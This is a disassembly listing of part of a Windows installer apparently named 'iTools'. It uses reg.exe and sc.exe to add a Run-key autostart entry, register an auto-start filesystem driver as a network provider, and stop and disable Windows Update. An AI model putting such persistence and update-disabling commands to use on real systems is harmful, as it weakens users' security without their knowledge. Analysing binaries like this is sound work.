pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.drivers_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x6c]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404ba8
jl 0x404ba4
cmp ebx, 0
ja 0x404ba8
xor eax, eax
jmp 0x404bad
mov eax, 1
or eax, eax
jne 0x404bb3
jmp 0x404bba
mov eax, 1
jmp 0x404bbc
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x905a08
push ebp
mov ebp, 0x8756e0
push ebp
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a260
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x404c69
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a260
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404c5e
jl 0x404c5a
cmp ebx, 0
ja 0x404c5e
xor eax, eax
jmp 0x404c63
mov eax, 1
or eax, eax
jne 0x404c69
jmp 0x404c70
mov eax, 1
jmp 0x404c72
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x91e730
push ebp
mov ebp, 0x905a08
push ebp
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419ed6
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x404d1f
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x419ed6
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404d14
jl 0x404d10
cmp ebx, 0
ja 0x404d14
xor eax, eax
jmp 0x404d19
mov eax, 1
or eax, eax
jne 0x404d1f
jmp 0x404d26
mov eax, 1
jmp 0x404d28
xor eax, eax
and eax, eax
je 0x404ded
push edx
call fcn.00415e40
pop edx
push eax
push 0
mov ebp, 0x929458
push ebp
mov ebp, 0x91e730
push ebp
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a1e2
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004068e6
call fcn.004090a0
mov ebx, eax
cmp ebx, 1
je 0x404dd5
push edx
call fcn.00415e40
pop edx
push eax
mov edx, dword [esp + 0x18]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, 0x41a1e2
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.0040e1da
call fcn.004090a0
push edx
push eax
pop ebx
pop edi
cmp edi, 0
jg 0x404dca
jl 0x404dc6
cmp ebx, 0
ja 0x404dca
xor eax, eax
jmp 0x404dcf
mov eax, 1
or eax, eax
jne 0x404dd5
jmp 0x404ddc
mov eax, 1
jmp 0x404dde
xor eax, eax
and eax, eax
je 0x404ded
mov dword [esp + 0xc4], 1
push dword [0x96eb24]
call fcn.0040f9eb
mov ebx, dword [esp + 0xc4]
cmp ebx, 1
jne 0x405af3
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSoftware_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x48]
push edx
call fcn.00415e80
mov edx, str.__v__InstallPath___t_REG_SZ__d__
push edx
call fcn.00415e80
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e80
mov edx, str.___f__reg:64
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x404ecf
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x404e92
jmp 0x404e80
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSoftwareMicrosoftWindowsCurrentVersionRun__v
push edx
call fcn.00415e80
mov edx, dword [esp + 0x4c]
push edx
call fcn.00415e80
mov edx, str.__t_REG_SZ__d___
push edx
call fcn.00415e80
mov edx, dword [esp + 0x28]
push edx
call fcn.00415e80
mov edx, dword [esp + 0x38]
push edx
call fcn.00415e80
mov edx, 0x419c3c
push edx
call fcn.00415e80
mov edx, dword [esp + 0x50]
push edx
call fcn.00415e80
mov edx, 0x41902c
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x404fde
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x404fa1
jmp 0x404f8f
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
push 0xc
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
mov edx, 0x41916c
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push 2
call fcn.00406bbe
pop eax
lea eax, [esp + 0xd4]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.create
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str._displayname__
push edx
call fcn.00415e80
mov edx, dword [esp + 0xd4]
push edx
call fcn.00415e80
mov edx, str.__binPath__system32DRIVERS_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x68]
push edx
call fcn.00415e80
mov edx, str.__type_filesys_start_auto_tag_yes_group_NetworkProvider_error_normal_depend_Mup
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xb0]
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x40515e
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x405121
jmp 0x40510f
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
jne 0x405188
push dword [esp + 0xcc]
mov edx, str.1073
pop ecx
call fcn.004090c0
jne 0x405188
jmp 0x40518f
mov eax, 1
jmp 0x405191
xor eax, eax
and eax, eax
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
push 0xc
call fcn.00406611
mov edx, dword [esp]
push edx
call fcn.004090a0
push eax
call fcn.00415e80
mov edx, 0x41916c
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push 2
call fcn.00406bbe
pop eax
mov edx, 0x41916c
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push 2
call fcn.00406bbe
pop eax
mov edx, 0x41916c
push edx
call fcn.00415e80
push edx
call fcn.00415e40
pop edx
push eax
push 2
call fcn.00406bbe
pop eax
lea eax, [esp + 0xd8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str.__v__Description___t_REG_SZ__d__
push edx
call fcn.00415e80
mov edx, dword [esp + 0xd8]
push edx
call fcn.00415e80
mov edx, 0x41902c
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x4052fc
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x4052bf
jmp 0x4052ad
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str.__v__vwdk.installers___t_REG_MULTI_SZ__d__MSI0___f__reg:64
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x4053d7
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x40539a
jmp 0x405388
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str.__v__Tag___t_REG_DWORD__d_1__f__reg:64
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x4054b2
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x405475
jmp 0x405463
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str._networkprovider__v__DeviceName___t_REG_SZ__d__Device_abcd___f__reg:64
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x40558d
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x405550
jmp 0x40553e
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
mov edx, 0x41a6c4
lea ecx, [esp + 0xd8]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str._networkprovider__v__Name___t_REG_SZ__d__share___f__reg:64
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x405679
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x40563c
jmp 0x40562a
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str._networkprovider__v__ProviderPath___t_REG_EXPAND_SZ__d___SystemRoot_System32_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x40]
push edx
call fcn.00415e80
mov edx, 0x41902c
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x405769
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x40572c
jmp 0x40571a
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str.parameters__v__ServerName___t_REG_SZ__d__
push edx
call fcn.00415e80
mov edx, dword [esp + 0x6c]
push edx
call fcn.00415e80
mov edx, 0x41902c
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x405859
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x40581c
jmp 0x40580a
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, str.ADD_HKLMSYSTEMCurrentControlSetServices_
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
mov edx, str.parameters__v__ShareName___t_REG_SZ__d__
push edx
call fcn.00415e80
mov edx, dword [esp + 0x70]
push edx
call fcn.00415e80
mov edx, 0x41902c
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x405949
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x40590c
jmp 0x4058fa
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
je 0x405af3
mov edx, 0x41902a
lea ecx, [esp + 0xcc]
call fcn.00409008
push edx
call fcn.00415e40
pop edx
push eax
mov edx, 0x4191c6
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
lea eax, [esp + 0xa8]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xb0]
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
mov dword [esp + 0xc8], eax
cmp dword [esp + 0xc8], 0
je 0x405a45
push dword [esp + 0xc8]
call fcn.00409b0b
and eax, eax
je 0x405a08
jmp 0x4059f6
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e40
pop edx
push eax
push dword [esp + 0xd0]
call fcn.00409b52
cdq
push edx
push eax
call fcn.00414570
lea eax, [esp + 0xd0]
push eax
call fcn.00415ee0
push dword [esp + 0xc8]
call fcn.00409b72
push dword [esp + 0xcc]
mov edx, 0x419196
pop ecx
call fcn.004090c0
jne 0x405a6f
push dword [esp + 0xcc]
mov edx, str.1056
pop ecx
call fcn.004090c0
jne 0x405a6f
jmp 0x405a76
mov eax, 1
jmp 0x405a78
xor eax, eax
and eax, eax
je 0x405af3
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
push edx
call fcn.00415e40
pop edx
push eax
mov edx, 0x4196c0
push edx
call fcn.00415e80
mov edx, dword [esp + 0x5c]
push edx
call fcn.00415e80
call fcn.00416040
mov edx, dword [esp + 0x34]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, dword [esp + 0x48]
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.00409082
add dword [esp + 4], edx
call fcn.004095c4
call fcn.004090a0
mov dword [esp + 0xdc], 1
mov ebx, dword [esp + 0xdc]
cmp ebx, 1
jne 0x405b03
xor eax, eax
jmp 0x405b08
mov eax, 1
and eax, eax
je 0x405c2e
push dword [esp + 0x14]
push dword [esp + 0x50]
push dword [esp + 0x60]
push dword [esp + 0x54]
push dword [esp + 0x7c]
push dword [esp + 0x7c]
push dword [esp + 0x5c]
push dword [esp + 0x80]
push dword [esp + 0x5c]
push dword [esp + 0x58]
push dword [esp + 0x4c]
call fcn.00406d8a
mov dword [esp + 0xa0], eax
mov ebx, dword [esp + 0xa0]
cmp ebx, 1
je 0x405b65
mov ebx, dword [esp + 0xa0]
cmp ebx, 2
je 0x405b65
jmp 0x405b6c
mov eax, 1
jmp 0x405b6e
xor eax, eax
and eax, eax
je 0x405c02
mov edx, str.delete__HKLMSYSTEMSetup___v__sysServices___f__reg:64
lea ecx, [esp + 0xa4]
call fcn.00409008
push 6
mov eax, 0x41902a
push eax
push dword [esp + 0xac]
mov eax, str.reg.exe
push eax
call fcn.004095c4
mov ebx, dword [esp + 0xa0]
cmp ebx, 1
jne 0x405bd9
mov edx, str.iTools_has_not_been_Installed_n_n_try_to_reinstall_iTools_again
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405bd7
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x405c00
mov edx, str.iTools_Install_failed_n_nRestart_Windows_and_try_again
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405c00
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x405c29
mov edx, str.iTools_Install_Failed_n_ntry_reinstall_iTools
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405c29
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x405e80
push edx
call fcn.00415e40
pop edx
push eax
mov edx, 0x41a46c
push edx
call fcn.00415e80
mov edx, dword [esp + 0x6c]
push edx
call fcn.00415e80
mov edx, 0x4192bc
push edx
call fcn.00415e80
mov edx, dword [esp + 0x70]
push edx
call fcn.00415e80
lea eax, [0x96eb14]
push eax
call fcn.00415ee0
push edx
call fcn.00415e40
pop edx
push eax
push dword [0x96eb0c]
call fcn.00401882
call fcn.00416040
mov edx, 0x41a8ae
pop ecx
push ecx
call fcn.004090b0
mov ecx, eax
call fcn.004090c0
je 0x405cef
push 0
mov eax, 0x41902a
push eax
push dword [0x96eb1c]
push dword [0x96eb14]
call fcn.00401a09
mov ebx, eax
and ebx, ebx
jne 0x405cbf
xor eax, eax
jmp 0x405cc4
mov eax, 1
and eax, eax
je 0x405cef
mov edx, str.Set_Shared_Folder_from_the_HOST_VM_Settings
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405cef
push dword [esp + 0x10]
call fcn.00407efe
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
mov eax, str._stop_wuauserv
push eax
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
mov eax, str._config_wuauserv_start_disabled
push eax
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
mov eax, str._stop_W32Time
push eax
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
mov eax, str._config_W32Time_start_auto
push eax
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
push edx
call fcn.00415e40
pop edx
push eax
push 6
mov eax, 0x41902a
push eax
mov eax, str._start_W32Time
push eax
mov edx, dword [esp + 0x24]
push edx
call fcn.00415e40
pop edx
push eax
push edx
call fcn.00415e80
mov edx, str.sc.exe
push edx
call fcn.00415e80
call fcn.00409082
add dword [esp], edx
call fcn.004095c4
call fcn.004090a0
mov edx, 0x41a8a8
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405e80
mov eax, str.iTools_Successfully_Installed
push eax
call fcn.00407efe
jmp 0x405ea9
mov edx, str.RE_INSTALL_iTools_
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405ea9
push dword [esp + 0x10]
call fcn.00407efe
jmp 0x405eb9
mov edx, str.iTools_Installation_Failed
lea ecx, [esp + 0x10]
call fcn.00409008
mov edx, dword [esp]
xor ecx, ecx
call fcn.004090c0
jne 0x405efc
push dword [esp + 0x10]
mov edx, 0x41902a
pop ecx
call fcn.004090c0
je 0x405ee4
mov edx, 0x41a874
lea ecx, [esp + 0x10]
call fcn.00409008
push dword [esp + 0x10]
push dword [esp + 4]
mov eax, str.Volatile_Environment
push eax
push 0x80000001
call fcn.00401941
xor eax, eax
push dword [esp + 0x5c]
call fcn.00416070
push dword [esp + 0xbc]
call fcn.00416070
push dword [esp + 0xb0]
call fcn.00416070
push dword [esp + 0xd4]
call fcn.00416070
push dword [esp + 0x7c]
call fcn.00416070
push dword [esp + 0x8c]
call fcn.00416070
push dword [esp + 0x3c]
call fcn.00416070
push dword [esp + 0x80]
call fcn.00416070
push dword [esp]
call fcn.00416070
push dword [esp + 0x48]
call fcn.00416070
push dword [esp + 0x54]
call fcn.00416070
push dword [esp + 0x38]
call fcn.00416070
push dword [esp + 0x1c]
call fcn.00416070
push dword [esp + 0x58]
call fcn.00416070
push dword [esp + 0xc0]
call fcn.00416070
push dword [esp + 0x10]
call fcn.00416070
push dword [esp + 0xcc]
call fcn.00416070
push dword [esp + 0x94]
call fcn.00416070
push dword [esp + 0x4c]
call fcn.00416070
push dword [esp + 0x24]
call fcn.00416070
push dword [esp + 0x40]
call fcn.00416070
push dword [esp + 0xa4]
call fcn.00416070
push dword [esp + 0x2c]
call fcn.00416070
push dword [esp + 0xa8]
call fcn.00416070
push dword [esp + 0x30]
call fcn.00416070
push dword [esp + 0x88]
call fcn.00416070
push dword [esp + 0xd0]
call fcn.00416070
push dword [esp + 0x9c]
call fcn.00416070
push dword [esp + 0x14]
call fcn.00416070
push dword [esp + 0x44]
call fcn.00416070
push dword [esp + 0x6c]
call fcn.00416070
push dword [esp + 0xb8]
call fcn.00416070
push dword [esp + 0x34]
call fcn.00416070
push dword [esp + 0xb4]
call fcn.00416070
push dword [esp + 0xd8]
call fcn.00416070
push dword [esp + 0x64]
call fcn.00416070
push dword [esp + 0x20]
call fcn.00416070
push dword [esp + 0x28]
call fcn.00416070
push dword [esp + 0x70]
call fcn.00416070
push dword [esp + 0x50]
call fcn.00416070
push dword [esp + 0xac]
call fcn.00416070
push dword [esp + 0x18]
call fcn.00416070
push dword [esp + 0x60]
call fcn.00416070
push dword [esp + 0x68]
call fcn.00416070
push dword [esp + 0x90]
call fcn.00416070
push dword [esp + 0x98]
call fcn.00416070
push dword [esp + 0x74]
call fcn.00416070
push dword [esp + 0x84]
call fcn.00416070
add esp, 0xe0
pop edi
pop ebx
pop ebp
ret